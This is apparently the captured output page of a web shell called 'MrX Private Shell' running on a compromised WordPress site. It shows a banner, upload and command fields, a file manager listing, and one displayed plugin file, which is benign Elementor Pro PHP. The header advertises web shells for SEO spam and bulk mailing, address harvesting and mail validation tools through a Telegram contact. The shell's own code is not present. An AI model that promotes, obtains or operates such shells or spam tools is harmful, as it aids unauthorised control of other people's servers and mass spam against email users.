__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php
namespace ElementorPro\Modules\Posts\Traits;

use ElementorPro\Modules\Posts\Widgets\Posts_Base;
use ElementorPro\Plugin;
use ElementorPro\Core\Utils;
use Elementor\Controls_Manager;
use Elementor\Core\Base\Document;

trait Query_Note_Trait {
	public function is_editing_archive_template() {
		if ( Plugin::elementor()->documents->get_current() ) {
			$id = Utils::get_current_post_id();
		} else {
			$id = get_the_ID();
		}

		return 'archive' === get_post_meta( $id, Document::TYPE_META_KEY, true );
	}

	public function inject_archive_query_note( $placement_id, $condition_id, $widget ) {
		$archive_setting_url = admin_url( 'options-reading.php' );

		$widget->start_injection( [
			'of' => $placement_id,
			'at' => 'before',
		] );

		$widget->add_control(
			'archive_query_note',
			[
				'type' => Controls_Manager::RAW_HTML,
				'raw' => sprintf(
					esc_html__( 'The amount of items displayed in your Archive is set in your WordPress settings. %s', 'elementor-pro' ),
					'<a target="_blank" href="' . esc_url( $archive_setting_url ) . '">' . esc_html__( 'Take me there', 'elementor-pro' ) . '</a>'
				),
				'content_classes' => 'elementor-descriptor',
				'condition' => [
					$condition_id => 'current_query',
				],
			]
		);

		$widget->end_injection();
	}
}

Filemanager

Name Type Size Permission Actions
button-widget-trait.php File 16.29 KB 0664
pagination-trait.php File 4.29 KB 0664
query-note-trait.php File 1.26 KB 0664
Filemanager